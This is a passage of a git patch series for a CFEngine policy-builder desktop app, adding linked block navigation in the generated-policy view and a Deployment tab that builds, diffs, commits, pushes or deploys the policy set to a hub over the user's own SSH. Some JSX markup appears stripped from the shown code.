    @@ -333,7 +329,7 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, }} onReset={() => { setEditingHost(null); - void startAction(environment, 'destroy', request([editing.id])); + void act('destroy', request([editing.id])); }} /> )} @@ -349,7 +345,7 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, onEnvChange={env => dispatch(envVarsChanged({ environmentId: id, env }))} onDestroy={() => { setEnvironmentOpen(false); - void startAction(environment, 'destroy', request()); + void act('destroy', request()); }} /> )} From 86751b47725b14096329d28f5387a932c7b76341 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 20:08:46 +0300 Subject: [PATCH 041/141] Generated Policy shows its blocks and links code back to them Each block gets a coloured bar in the gutter (by promise type) and its type after its first line; hovering tints it. Clicking a block's code selects it, so Properties shows it. Classes and variables the project defines link to the block that defines them, across files, with Back (Alt+Left). Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../src/components/GeneratedPolicyView.tsx | 132 +++++++++++++- .../src/components/editor/policyBlocks.ts | 165 ++++++++++++++++++ src/renderer/src/pages/ProjectView.tsx | 20 ++- 3 files changed, 306 insertions(+), 11 deletions(-) create mode 100644 src/renderer/src/components/editor/policyBlocks.ts diff --git a/src/renderer/src/components/GeneratedPolicyView.tsx b/src/renderer/src/components/GeneratedPolicyView.tsx index caad809..2f79db7 100644 --- a/src/renderer/src/components/GeneratedPolicyView.tsx +++ b/src/renderer/src/components/GeneratedPolicyView.tsx @@ -1,14 +1,55 @@ import { useEffect, useMemo, useState } from 'react'; +import ArrowBackIcon from '@mui/icons-material/ArrowBack'; import ContentCopyIcon from '@mui/icons-material/ContentCopy'; -import { Alert, Box, Button, Chip, CircularProgress, Stack, Typography, alpha, useTheme } from '@mui/material'; +import { Alert, Box, Button, Chip, CircularProgress, Stack, type Theme, Typography, alpha, useTheme } from '@mui/material'; import { RangeSetBuilder } from '@codemirror/state'; import { Decoration, EditorView } from '@codemirror/view'; import CodeMirror, { type ReactCodeMirrorRef } from '@uiw/react-codemirror'; +import { entryName } from '../blocks/definitionEntries'; +import { blockDescriptorsById } from '../blocks/loadBlocks'; +import { primaryPromiseType } from '../blocks/resolveBlockShape'; import type { CompiledPolicyState } from '../project/useCompiledPolicy'; +import { useAppSelector } from '../store'; import { cfengineLanguage } from './editor/cfengineLanguage'; +import { type PolicyReference, type PolicyRegion, policyBlocks } from './editor/policyBlocks'; + +type Palette = Theme['palette']; +// A bar colour per kind of promise, so a file's structure reads at a glance. +const barColor = (palette: Palette, promiseType: string | undefined) => + ({ + vars: palette.info.main, + classes: palette.info.main, + files: palette.primary.main, + packages: palette.success.main, + services: palette.warning.main, + processes: palette.warning.main, + commands: palette.secondary.main, + users: palette.success.dark + })[promiseType ?? ''] ?? palette.text.disabled; + +// The classes and variables the project defines: Define Class entries are global names, Define +// Variable entries live in their file's `_vars`. +function useProjectReferences(): PolicyReference[] { + const canvas = useAppSelector(state => state.canvas); + const files = useAppSelector(state => state.files.files); + return useMemo(() => { + const bundles = new Map(files.map(file => [file.id, file.bundle])); + return canvas.flatMap(instance => { + const descriptor = blockDescriptorsById.get(instance.blockId); + const kind = descriptor && primaryPromiseType(descriptor); + if (!descriptor || (kind !== 'classes' && kind !== 'vars')) return []; + return (instance.entries ?? []).flatMap(entry => { + const name = entryName(descriptor, entry); + if (!name) return []; + const qualified = kind === 'vars' ? `${bundles.get(instance.fileId)}_vars.${name}` : name; + return [{ name: qualified, id: instance.instanceId, fileId: instance.fileId }]; + }); + }); + }, [canvas, files]); +} const selectedLine = Decoration.line({ class: 'cm-selected-block' }); @@ -26,16 +67,23 @@ function highlightLines(ranges: [number, number][]) { /** * The Generated Policy tab: the open file's compiled .cf, read-only, as a - * save would write it (the file tree picks the file). The selected block or group is tinted - * and scrolled into view. + * save would write it (the file tree picks the file). Each block has a bar in the gutter; a click + * selects it, the selected one is tinted and scrolled into view, and the project's classes and + * variables link to the block that defines them. */ export function GeneratedPolicyView({ compiled, currentFileId, + onFollow, + onSelect, selectedId }: { compiled: CompiledPolicyState; currentFileId: string | null; + // A class or variable link: the block that defines it, maybe in another file. + onFollow: (fileId: string, id: string) => void; + // A click on a block's (or group's) code. + onSelect: (id: string) => void; // The selected block's instanceId or group's id. selectedId: string | null; }) { @@ -44,18 +92,79 @@ export function GeneratedPolicyView({ const policyPath = currentFileId ? pathOf[currentFileId] : undefined; const text = policyPath ? result?.files[policyPath] : undefined; const ranges = useMemo(() => (policyPath && selectedId ? (result?.sourceMap[policyPath]?.[selectedId] ?? []) : []), [policyPath, selectedId, result]); + const canvas = useAppSelector(state => state.canvas); + const groups = useAppSelector(state => state.groups); + const references = useProjectReferences(); + const regions = useMemo((): PolicyRegion[] => { + const map = (policyPath && result?.sourceMap[policyPath]) || {}; + return Object.entries(map).flatMap(([id, ranges]) => { + const block = canvas.find(item => item.instanceId === id); + const group = block ? undefined : groups.find(item => item.id === id); + const descriptor = block && blockDescriptorsById.get(block.blockId); + if (!block && !group) return []; + return [ + { + id, + ranges: ranges as [number, number][], + isGroup: Boolean(group), + label: block ? block.label : `Group ${group!.name}`, + type: descriptor?.name ?? 'Group', + color: group ? theme.palette.text.secondary : barColor(theme.palette, descriptor && primaryPromiseType(descriptor)) + } + ]; + }); + }, [policyPath, result, canvas, groups, theme]); const [view, setView] = useState(null); const [copied, setCopied] = useState<'copied' | 'failed' | null>(null); + // A block picked by clicking its code is already in view: don't scroll to its start. + const [picked, setPicked] = useState(null); + const pick = (id: string) => { + setPicked(id); + onSelect(id); + }; + // Where links were followed from, for Back. + const [trail, setTrail] = useState<{ fileId: string; id: string }[]>([]); + const follow = (fileId: string, id: string) => { + if (currentFileId && selectedId) setTrail(previous => [...previous, { fileId: currentFileId, id: selectedId }].slice(-20)); + setPicked(null); + onFollow(fileId, id); + }; + const back = () => { + const previous = trail.at(-1); + if (!previous) return; + setTrail(trail.slice(0, -1)); + setPicked(null); + onFollow(previous.fileId, previous.id); + }; const extensions = useMemo( - () => [cfengineLanguage, highlightLines(ranges), EditorView.theme({ '.cm-selected-block': { backgroundColor: alpha(theme.palette.primary.main, 0.16) } })], - [ranges, theme] + () => [ + cfengineLanguage, + highlightLines(ranges), + policyBlocks(regions, references, pick, reference => follow(reference.fileId, reference.id)), + EditorView.theme({ + '.cm-selected-block': { backgroundColor: alpha(theme.palette.primary.main, 0.16) }, + '.cm-hovered-block': { backgroundColor: alpha(theme.palette.text.primary, 0.04) }, + '.cm-project-ref': { color: theme.palette.mode === 'dark' ? theme.palette.primary.light : theme.palette.primary.main } + }) + ], + // eslint-disable-next-line react-hooks/exhaustive-deps -- the callbacks are new each render; their targets aren't + [ranges, regions, references, theme, currentFileId, selectedId] ); useEffect(() => { + if (picked && picked === selectedId) return; if (!view || ranges.length === 0 || ranges[0][0] > view.state.doc.lines) return; view.dispatch({ effects: EditorView.scrollIntoView(view.state.doc.line(ranges[0][0]).from, { y: 'start', yMargin: 48 }) }); - }, [view, ranges, text]); + }, [view, ranges, text, picked, selectedId]); + + useEffect(() => { + const onKey = (event: KeyboardEvent) => { + if (event.altKey && event.key === 'ArrowLeft') back(); + }; + window.addEventListener('keydown', onKey); + return () => window.removeEventListener('keydown', onKey); + }); const copy = () => { if (!text) return; @@ -85,6 +194,17 @@ export function GeneratedPolicyView({ spacing={1} sx={{ position: 'absolute', top: 8, right: 20, zIndex: 1, alignItems: 'center', bgcolor: 'background.default', borderRadius: 1, px: 0.5 }} > + {trail.length > 0 && ( + + )}
    + + )} + + ); +} + +/** + * The Deployment tab: build and check the saved project's policy set, see what changed since the + * last commit, then deliver it: commit and push (a hub on GIT_CFBS deploys from the repository), + * or copy it to a hub over SSH as cf-remote deploy does. + */ +export function DeploymentView({ + compiled, + onSave, + onShowBlock +}: { + compiled: CompiledPolicyState; + onSave: () => Promise; + onShowBlock: (fileId: string, id: string) => void; +}) { + const project = useAppSelector(selectCurrentProject); + const canvas = useAppSelector(state => state.canvas); + const edges = useAppSelector(state => state.edges); + const groups = useAppSelector(state => state.groups); + const files = useAppSelector(state => state.files); + const [git, setGit] = useState(null); + const [gitFailure, setGitFailure] = useState(null); + const [gitBusy, setBusy] = useState<'commit' | 'init' | 'push' | 'remote' | null>(null); + const [message, setMessage] = useState(null); + const [remote, setRemote] = useState(null); + const [target, setTarget] = useState(() => (localStorage.getItem(`cfpb.deploy.target:${project?.path}`) as Target | null) ?? 'git'); + const chooseTarget = (value: Target) => { + setTarget(value); + localStorage.setItem(`cfpb.deploy.target:${path}`, value); + }; + // What the last git action did, e.g. "Committed 5ec6020". + const [notice, setNotice] = useState(null); + const path = project?.path ?? null; + const run = useDeployRun(path); + const { build, buildFailure, ssh } = run; + // A Build or deploy, or a git action: one at a time. + const busy = gitBusy ?? run.action; + + useEffect(() => { + let current = true; + if (path && window.api) { + void window.api.gitStatus(path).then(result => { + if (!current) return; + if (result.ok) setGit(result.status); + else setGitFailure(result); + }); + } + return () => { + current = false; + }; + }, [path]); + + const changes = useMemo(() => { + let head: ProjectData | null = null; + try { + head = git?.headBuilder ? fromBuilderProject(git.headBuilder) : null; + } catch { + head = null; + } + // Through the same save and load as the commit went, so both sides have the same shape (saving + // re-attaches arrows that cross a group frame, and splits a group's look from its policy). + let now = snapshot(); + try { + if (project) now = fromBuilderProject(toCfbsProject(now, project).project); + } catch { + // Unsaveable state: compare as it is. + } + return projectChanges(head, now); + // The store slices are what the snapshot reads. + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [git, canvas, edges, groups, files, project]); + + // A build or check problem's block, through the compiled source map. + const blockAt = (problem: BuildProblem) => { + const ranges = problem.file ? compiled.result?.sourceMap[problem.file] : undefined; + const fileId = Object.entries(compiled.pathOf).find(([, policyPath]) => policyPath === problem.file)?.[0]; + if (!ranges || !fileId) return null; + let best: { id: string; size: number } | null = null; + for (const [id, spans] of Object.entries(ranges)) { + for (const [first, last] of spans) { + if (first <= problem.line && problem.line <= last && (!best || last - first < best.size)) best = { id, size: last - first }; + } + } + const block = best && canvas.find(item => item.instanceId === best.id); + return block ? { fileId, id: block.instanceId, label: block.label } : null; + }; + + // Saves first: Build and Commit work on what's on disk. + const withSave = async (step: NonNullable, run: (path: string) => Promise) => { + setBusy(step); + try { + if (!(await onSave())) return; + const saved = store.getState().project?.path; + if (saved) await run(saved); + } finally { + setBusy(null); + } + }; + + // An unsaved project gets a folder first (Save as), then runs there. + const located = async () => path ?? ((await onSave()) ? (store.getState().project?.path ?? null) : null); + const runBuild = async () => { + const folder = await located(); + if (folder) await startBuild(folder, onSave); + }; + + const gitAction = async ( + step: NonNullable, + run: () => Promise<{ details: string; message: string; ok: false } | { ok: true; status: GitStatus }> + ) => { + setBusy(step); + setGitFailure(null); + setNotice(null); + try { + const result = await run(); + if (result.ok) { + setGit(result.status); + const commit = result.status.lastCommit?.hash.slice(0, 7); + const notices: Partial> = { + commit: `Committed ${commit}.`, + init: `Initialized git, first commit ${commit}.`, + push: `Pushed ${result.status.branch} to origin.`, + remote: 'Remote set.' + }; + setNotice(notices[step] ?? null); + } else setGitFailure(result); + return result.ok; + } finally { + setBusy(null); + } + }; + + if (!window.api) return ; + if (!project) return null; + + const suggested = commitMessage(changes); + const text = message ?? suggested; + const isModule = project.type === 'module'; + + return ( + + + + Deployment + + Build and check the policy set, then push it to the git repository a hub deploys from, or copy it to a hub over SSH. + + + + } + actions={ + + } + > + {isModule && A module is built by the policy set that uses it.} + + {build && void window.api!.revealInProject(path!, file)} />} + + + : undefined + } + > + {!path && Save the project to a folder first.} + {git?.repo && changes.length === 0 && ( + Same as the last commit{git.lastCommit ? `: “${git.lastCommit.subject}”` : ''}. + )} + {changes.length > 0 && } + + + + + + + ) : target === 'ssh' ? ( + + ) : ( + + ) + } + > + chooseTarget(value)} + sx={{ minHeight: 36, mb: 1.5, borderBottom: '1px solid', borderColor: 'divider' }} + > + + + + + {target === 'git' && ( + <> + 0 || (git?.changedFiles ?? 0) > 0} + remote={remote ?? git?.remote ?? ''} + onRemoteChange={setRemote} + onTextChange={setMessage} + onInit={() => void withSave('init', async saved => void (await gitAction('init', () => window.api!.gitInit(saved))))} + onCommit={() => + void withSave('commit', async saved => { + if (await gitAction('commit', () => window.api!.gitCommit(saved, text))) setMessage(null); + }) + } + onSetRemote={() => void gitAction('remote', () => window.api!.gitSetRemote(path!, (remote ?? '').trim())).then(ok => ok && setRemote(null))} + onPush={() => void gitAction('push', () => window.api!.gitPush(path!))} + /> + + {notice && !gitFailure && ( + setNotice(null)}> + {notice} + + )} + + )} + {target === 'ssh' && path && ( + resetSsh(path)} + onDeploy={target => void startSshDeploy(path, onSave, target)} + /> + )} + {target === 'hub' && ( + + For now, point the hub at the git repository: Mission Portal → Settings → Version control, type GIT_CFBS (it builds the cfbs project + itself), then push from the first tab. Connecting a hub from here — setting that up, and results per block across hosts — comes next. + + )} + + + + ); +} + +function SshSummary({ running, state }: { running: boolean; state: SshState }) { + if (running) return null; + if (state.phase === 'deployed') return ; + if (state.phase === 'failed') return ; + if (state.phase === 'invalid') return ; + return null; +} + +// Where the policy set goes: a hub reachable with the user's own ssh, kept per project. +function SshDeploy({ + busy, + onDeploy, + onEdit, + path, + run +}: { + busy: boolean; + onDeploy: (target: { host: string; key: string | null; port: number | null }) => void; + // The hub changed: the last result no longer applies. + onEdit: () => void; + path: string; + run: DeployRun; +}) { + const state = run.ssh; + const key = `cfpb.deploy.ssh:${path}`; + const [host, setHost] = useState(() => localStorage.getItem(key)?.split('|')[0] ?? ''); + const [port, setPort] = useState(() => localStorage.getItem(key)?.split('|')[1] ?? ''); + // A private key file's path (never its contents); empty: whatever ssh picks (agent, ~/.ssh/config). + const [identity, setIdentity] = useState(() => localStorage.getItem(key)?.split('|')[2] ?? ''); + const valid = /^(?:[\w.-]+@)?[\w][\w.-]*$/.test(host.trim()) && (port === '' || (Number(port) > 0 && Number(port) < 65536)); + const deploy = () => { + localStorage.setItem(key, `${host.trim()}|${port}|${identity}`); + onDeploy({ host: host.trim(), key: identity || null, port: port ? Number(port) : null }); + }; + return ( + + + { + setHost(event.target.value); + onEdit(); + }} + sx={{ flex: 1 }} + slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} + /> + setPort(event.target.value.replace(/\D/g, '').slice(0, 5))} + sx={{ width: 90 }} + /> + + + + + {identity && ( + + )} + + + + Saves, builds and checks the policy set (step 1), copies it with your own ssh / scp (the chosen key, or your agent and ~/.ssh/config; never a prompt, so + a key with a passphrase must be in the agent), validates it on the hub with cf-promises, then makes it /var/cfengine/masterfiles and runs the agent + there. The login needs root or passwordless sudo. If the hub deploys from git, its next update replaces this — push to the repository instead. + + {run.action === 'ssh' && } + {state.phase === 'failed' && } + {state.phase === 'deployed' && ( + + {state.log.split('\n').slice(-60).join('\n') || 'Deployed.'} + + )} + + ); +} + +function GitSummary({ git }: { git: GitStatus | null }) { + if (!git) return null; + if (!git.repo) return ; + if (!git.remote) return ; + if (git.behind > 0) return ; + if (git.ahead > 0) return ; + return ; +} + +function CommitStep(props: { + busy: string | null; + canCommit: boolean; + git: GitStatus | null; + onCommit: () => void; + onInit: () => void; + onPush: () => void; + onRemoteChange: (value: string) => void; + onSetRemote: () => void; + onTextChange: (value: string) => void; + path: string | null; + remote: string; + text: string; +}) { + const { busy, git } = props; + if (!props.path || !git) return null; + if (!git.repo) { + return ( + + This project folder isn’t a git repository yet. + + + ); + } + return ( + + props.onTextChange(event.target.value)} + slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} + /> + + + + {git.lastCommit ? `Last: “${git.lastCommit.subject}” · ${git.lastCommit.hash.slice(0, 7)}` : 'No commits yet'} + + + + props.onRemoteChange(event.target.value)} + sx={{ flex: 1 }} + slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} + /> + {props.remote.trim() !== (git.remote ?? '') && ( + + )} + + + + Pushing uses your own git credentials (SSH agent or credential helper); the app stores none. + + + ); +} + +function Chip({ text, tone }: { text: string; tone: Tone }) { + return ( + + + {text} + + ); +} + +function Centered({ text }: { text: string }) { + return ( + + {text} + + ); +} diff --git a/src/renderer/src/components/TopBar.tsx b/src/renderer/src/components/TopBar.tsx index 3f80fb6..d9213e2 100644 --- a/src/renderer/src/components/TopBar.tsx +++ b/src/renderer/src/components/TopBar.tsx @@ -6,7 +6,7 @@ import { Box, Button, IconButton, Tab, Tabs, Typography } from '@mui/material'; import type { ProjectType } from '../store/projectSlice/types'; import { BlockNodesIcon } from './icons/BlockNodesIcon'; -export const PROJECT_TABS = ['Canvas', 'Generated Policy (.cf)', 'Test Results & Logs'] as const; +export const PROJECT_TABS = ['Canvas', 'Generated Policy (.cf)', 'Test Results & Logs', 'Deployment'] as const; interface TopBarProps { activeTab: number; diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index aedcc2f..af8e3ae 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -20,6 +20,7 @@ import { GRID_SIZE, NODE_WIDTH, type Position, estimateNodeHeight, nextStackPosi import { tidyPositions } from '../canvas/tidy'; import { BlockGroupRow } from '../components/BlockGroupRow'; import { BlockPalette } from '../components/BlockPalette'; +import { DeploymentView } from '../components/DeploymentView'; import { CANVAS_DROPPABLE_ID, type CanvasEdge, type CanvasNode, FlowCanvas, type NodeSizes, type ZoomControls } from '../components/FlowCanvas'; import { GeneratedPolicyView } from '../components/GeneratedPolicyView'; import { GroupPanel } from '../components/GroupPanel'; @@ -45,6 +46,7 @@ import { clamp, useLayoutSettings } from '../hooks/useLayoutSettings'; +import { markDeploySeen, useDeployActivity } from '../project/deployRuns'; import { markTestActivitySeen, useTestActivity } from '../project/testRuns'; import { useCompiledPolicy } from '../project/useCompiledPolicy'; import { useAppDispatch, useAppSelector } from '../store'; @@ -140,13 +142,26 @@ function TestActivityBadge() { return null; } +// The Deployment tab name: a spinner while a Build or deploy runs, then how it ended until looked at. +function DeployActivityBadge({ path }: { path: string | null }) { + const { outcome, running } = useDeployActivity(path); + if (running) return ; + if (outcome === 'ok') return ; + if (outcome === 'error') + return ; + return null; +} + // The tabs besides the canvas. function OtherTab({ tab, + onSave, onShowBlock, ...policy -}: { onShowBlock: (fileId: string, id: string) => void; tab: number } & Parameters[0]) { - return tab === 1 ? : ; +}: { onSave: () => Promise; onShowBlock: (fileId: string, id: string) => void; tab: number } & Parameters[0]) { + if (tab === 1) return ; + if (tab === 3) return ; + return ; } function initialParams(descriptor: BlockDescriptor): Record { @@ -239,7 +254,8 @@ interface ProjectViewProps { // Unsaved changes since the last save (see project/useProjectSession.ts). dirty: boolean; onOpenSettings: () => void; - onSave: () => void; + // Resolves with whether the project ended up saved. + onSave: () => Promise; } /** The open project; saving it into cfbs.json is owned by App (project/useProjectSession.ts). */ @@ -258,7 +274,8 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi const edges = useMemo(() => allEdges.filter(edge => edge.fileId === currentFileId), [allEdges, currentFileId]); const derivedPositions = useAppSelector(selectDerivedNodePositions); const [activeTab, setActiveTab] = useState(0); - const compiled = useCompiledPolicy(activeTab === 1); + // Generated Policy shows it; Deployment traces build problems to blocks with its source map. + const compiled = useCompiledPolicy(activeTab === 1 || activeTab === 3); const { selectedInstanceId, setSelectedInstanceId, @@ -302,13 +319,18 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi const canRedo = useAppSelector(state => state.history.future.length > 0); // In-app "full screen": side panels hidden, properties as an overlay. const [maximized, setMaximized] = useState(false); - // The Test Results tab has its own layout: no block palette or Properties panel. - const showSidebars = !maximized && activeTab !== 2; + // Test Results and Deployment have their own layout: no block palette or Properties panel. + const showSidebars = !maximized && activeTab < 2; const testActivity = useTestActivity(); // Looking at the Test Results tab acknowledges how the last action ended. useEffect(() => { if (activeTab === 2 && testActivity.outcome) markTestActivitySeen(); }, [activeTab, testActivity.outcome]); + const projectPath = project?.path ?? null; + const deployActivity = useDeployActivity(projectPath); + useEffect(() => { + if (activeTab === 3 && deployActivity.outcome) markDeploySeen(projectPath); + }, [activeTab, deployActivity.outcome, projectPath]); const [addBlockAnchor, setAddBlockAnchor] = useState(null); const [tidyConfirmOpen, setTidyConfirmOpen] = useState(false); const [convertTargetId, setConvertTargetId] = useState(null); @@ -899,7 +921,7 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi blockCount={instances.length} activeTab={activeTab} onTabChange={setActiveTab} - tabBadges={{ 2: }} + tabBadges={{ 2: , 3: }} onSave={onSave} onOpenSettings={onOpenSettings} savedToDisk={Boolean(project.path)} @@ -1052,6 +1074,7 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi ) : ( (); +const listeners = new Set<() => void>(); +let current: string | null = null; +let subscribed = false; + +const runOf = (path: string | null) => (path ? (runs.get(path) ?? EMPTY) : EMPTY); + +function update(path: string, change: Partial) { + runs.set(path, { ...runOf(path), ...change }); + for (const listener of listeners) listener(); +} + +function subscribe(listener: () => void) { + if (!subscribed && window.api) { + subscribed = true; + window.api.onDeployProgress(stage => current && update(current, { stage })); + } + listeners.add(listener); + return () => listeners.delete(listener); +} + +export const useDeployRun = (path: string | null): DeployRun => useSyncExternalStore(subscribe, () => runOf(path)); + +/** Whether any project's Build or deploy is running, and how the last one ended (the tab badge). */ +export function useDeployActivity(path: string | null) { + const run = useDeployRun(path); + return { running: run.action !== null, outcome: run.outcome }; +} + +export const markDeploySeen = (path: string | null) => path && runOf(path).outcome && update(path, { outcome: null }); + +// Saves first (Build and deploy work on what's on disk); null when it wasn't saved. +async function saved(save: () => Promise, path: string, action: DeployRun['action']): Promise { + current = path; + update(path, { action, stage: 'save', outcome: null }); + if (await save()) return path; + update(path, { action: null, stage: null }); + return null; +} + +export async function startBuild(path: string, save: () => Promise): Promise { + if (!window.api || runOf(path).action || !(await saved(save, path, 'build'))) return; + try { + const result = await window.api.buildPolicySet(path); + const valid = result.ok && result.build.lint.ok && result.build.promises.ok !== false; + update(path, result.ok ? { build: result.build, buildFailure: null } : { build: null, buildFailure: result }); + update(path, { outcome: valid ? 'ok' : 'error' }); + } finally { + update(path, { action: null, stage: null }); + } +} + +export async function startSshDeploy( + path: string, + save: () => Promise, + target: { host: string; key: string | null; port: number | null } +): Promise { + if (!window.api || runOf(path).action || !(await saved(save, path, 'ssh'))) return; + update(path, { ssh: { phase: 'deploying' } }); + try { + const result = await window.api.deployOverSsh(path, target); + if (!result.ok) { + update(path, { ssh: { phase: 'failed', failure: result }, outcome: 'error' }); + return; + } + update(path, { + build: result.build, + buildFailure: null, + ssh: result.deployed ? { phase: 'deployed', log: result.log, at: Date.now(), host: target.host } : { phase: 'invalid' }, + outcome: result.deployed ? 'ok' : 'error' + }); + } finally { + update(path, { action: null, stage: null }); + } +} + +export const resetSsh = (path: string) => runOf(path).ssh.phase !== 'deploying' && update(path, { ssh: { phase: 'idle' } }); diff --git a/src/renderer/src/project/projectChanges.ts b/src/renderer/src/project/projectChanges.ts new file mode 100644 index 0000000..3baeb51 --- /dev/null +++ b/src/renderer/src/project/projectChanges.ts @@ -0,0 +1,124 @@ +import { blockDescriptorsById } from '../blocks/loadBlocks'; +import type { BlockInstance } from '../store/canvasSlice/types'; +import type { ProjectData } from './cfbsProject'; + +export interface ProjectChange { + // For a changed block: which parts, e.g. "params, condition". + detail?: string; + kind: 'added' | 'changed' | 'removed'; + // "Harden SSH (Set Config Values)", "File security.cf", "2 arrows". + what: string; +} + +// The parts of a block a user edits (not where it sits on the canvas). +const PARTS: [keyof BlockInstance, string][] = [ + ['label', 'label'], + ['params', 'params'], + ['entries', 'values'], + ['valueSourceId', 'value source'], + ['decorators', 'transforms'], + ['paramBindings', 'data inputs'], + ['condition', 'condition'], + ['incomingMode', 'arrows mode'], + ['groupId', 'group'] +]; + +// Key order doesn't matter: the saved file and the store list an object's fields differently. +const stable = (value: unknown): unknown => + Array.isArray(value) + ? value.map(stable) + : value && typeof value === 'object' + ? Object.fromEntries( + Object.entries(value) + .filter(([, item]) => item !== undefined) + .sort(([a], [b]) => a.localeCompare(b)) + .map(([key, item]) => [key, stable(item)]) + ) + : value; +const same = (a: unknown, b: unknown) => JSON.stringify(stable(a ?? null)) === JSON.stringify(stable(b ?? null)); +const blockName = (block: BlockInstance) => `${block.label} (${blockDescriptorsById.get(block.blockId)?.name ?? block.blockId})`; + +function byId(items: T[], id: (item: T) => string) { + return new Map(items.map(item => [id(item), item])); +} + +function fileChanges(old: ProjectData, now: ProjectData): ProjectChange[] { + const changes: ProjectChange[] = []; + const before = byId(old.files.files, file => file.id); + for (const file of now.files.files) { + const previous = before.get(file.id); + if (!previous) changes.push({ kind: 'added', what: `File ${file.name}.cf` }); + else if (previous.name !== file.name) changes.push({ kind: 'changed', what: `File ${previous.name}.cf`, detail: `renamed to ${file.name}.cf` }); + else if (!same(previous.condition, file.condition)) changes.push({ kind: 'changed', what: `File ${file.name}.cf`, detail: 'condition' }); + } + const after = byId(now.files.files, file => file.id); + return [...changes, ...old.files.files.filter(file => !after.has(file.id)).map(file => ({ kind: 'removed' as const, what: `File ${file.name}.cf` }))]; +} + +function blockChanges(old: ProjectData, now: ProjectData): ProjectChange[] { + const changes: ProjectChange[] = []; + const before = byId(old.canvas, block => block.instanceId); + for (const block of now.canvas) { + const previous = before.get(block.instanceId); + if (!previous) { + changes.push({ kind: 'added', what: blockName(block) }); + continue; + } + const parts = PARTS.filter(([key]) => !same(previous[key], block[key])).map(([, label]) => label); + if (parts.length) changes.push({ kind: 'changed', what: blockName(previous), detail: parts.join(', ') }); + } + const after = byId(now.canvas, block => block.instanceId); + return [...changes, ...old.canvas.filter(block => !after.has(block.instanceId)).map(block => ({ kind: 'removed' as const, what: blockName(block) }))]; +} + +function groupChanges(old: ProjectData, now: ProjectData): ProjectChange[] { + const before = byId(old.groups, group => group.id); + const after = byId(now.groups, group => group.id); + // Its frame's size and colour aren't policy. + const policyOf = (group: ProjectData['groups'][number]) => ({ ...group, rect: null, color: null }); + return [ + ...now.groups.filter(group => !before.has(group.id)).map(group => ({ kind: 'added' as const, what: `Group ${group.name}` })), + ...now.groups + .filter(group => before.has(group.id) && !same(policyOf(before.get(group.id)!), policyOf(group))) + .map(group => ({ kind: 'changed' as const, what: `Group ${before.get(group.id)!.name}` })), + ...old.groups.filter(group => !after.has(group.id)).map(group => ({ kind: 'removed' as const, what: `Group ${group.name}` })) + ]; +} + +function edgeChanges(old: ProjectData, now: ProjectData): ProjectChange[] { + const before = byId(old.edges, edge => edge.id); + const after = byId(now.edges, edge => edge.id); + const count = (n: number) => `${n} ${n === 1 ? 'arrow' : 'arrows'}`; + const added = now.edges.filter(edge => !before.has(edge.id)).length; + const changed = now.edges.filter(edge => before.has(edge.id) && !same(before.get(edge.id), edge)).length; + const removed = old.edges.filter(edge => !after.has(edge.id)).length; + return [ + ...(added ? [{ kind: 'added' as const, what: count(added) }] : []), + ...(changed ? [{ kind: 'changed' as const, what: count(changed), detail: 'outcomes' }] : []), + ...(removed ? [{ kind: 'removed' as const, what: count(removed) }] : []) + ]; +} + +/** What changed from `before` (the last commit) to `after`, in the builder's own terms. */ +export function projectChanges(before: ProjectData | null, after: ProjectData): ProjectChange[] { + const old = before ?? ({ canvas: [], edges: [], groups: [], files: { files: [] } } as unknown as ProjectData); + return [...fileChanges(old, after), ...blockChanges(old, after), ...groupChanges(old, after), ...edgeChanges(old, after)]; +} + +/** A commit message from the changes: "Added Harden SSH, changed Nginx settings, …". */ +export function commitMessage(changes: ProjectChange[]): string { + if (changes.length === 0) return ''; + const verb = { added: 'Added', changed: 'Changed', removed: 'Removed' }; + const label = (change: ProjectChange) => change.what.replace(/ \([^)]*\)$/, ''); + const groups = (['added', 'changed', 'removed'] as const) + .map(kind => ({ kind, items: changes.filter(change => change.kind === kind).map(label) })) + .filter(group => group.items.length); + const title = groups + .map( + (group, index) => + `${index === 0 ? verb[group.kind] : verb[group.kind].toLowerCase()} ${group.items.slice(0, 3).join(', ')}${group.items.length > 3 ? ' …' : ''}` + ) + .join('; '); + const body = changes.map(change => `- ${verb[change.kind]} ${change.what}${change.detail ? `: ${change.detail}` : ''}`).join('\n'); + return `${title.length > 80 ? `${title.slice(0, 77)}…` : title}\n\n${body}`; +} diff --git a/src/renderer/src/project/testRuns.ts b/src/renderer/src/project/testRuns.ts index e5ad6b3..55b76ce 100644 --- a/src/renderer/src/project/testRuns.ts +++ b/src/renderer/src/project/testRuns.ts @@ -53,6 +53,9 @@ export interface EnvironmentRuntime { error: string | null; hosts: Record; hub: { setupCode: string | null; url: string | null } | null; + // The last Deploy & run: when, on what policy (the request's content, as JSON) and how many + // hosts, and whether it passed (null while running) — Deployment's "Tested?". + lastRun: { at: number; content: string; hosts: number; passed: boolean | null } | null; lines: LogLine[]; // How the last action ended, until the tab is looked at (the tab name's check / red dot). outcome: 'error' | 'ok' | null; @@ -63,7 +66,18 @@ export interface EnvironmentRuntime { } const MAX_LINES = 5000; -const EMPTY: EnvironmentRuntime = { action: null, error: null, hosts: {}, hub: null, lines: [], outcome: null, problems: {}, results: [], runId: null }; +const EMPTY: EnvironmentRuntime = { + action: null, + error: null, + hosts: {}, + hub: null, + lastRun: null, + lines: [], + outcome: null, + problems: {}, + results: [], + runId: null +}; const runtimes = new Map(); const environmentOfRun = new Map(); const listeners = new Set<() => void>(); @@ -81,6 +95,20 @@ const appended = (runtime: EnvironmentRuntime, ...lines: Omit[] lines: [...runtime.lines, ...lines.map(line => ({ ...line, time: Date.now() }))].slice(-MAX_LINES) }); +// How a run ending updates the runtime; a 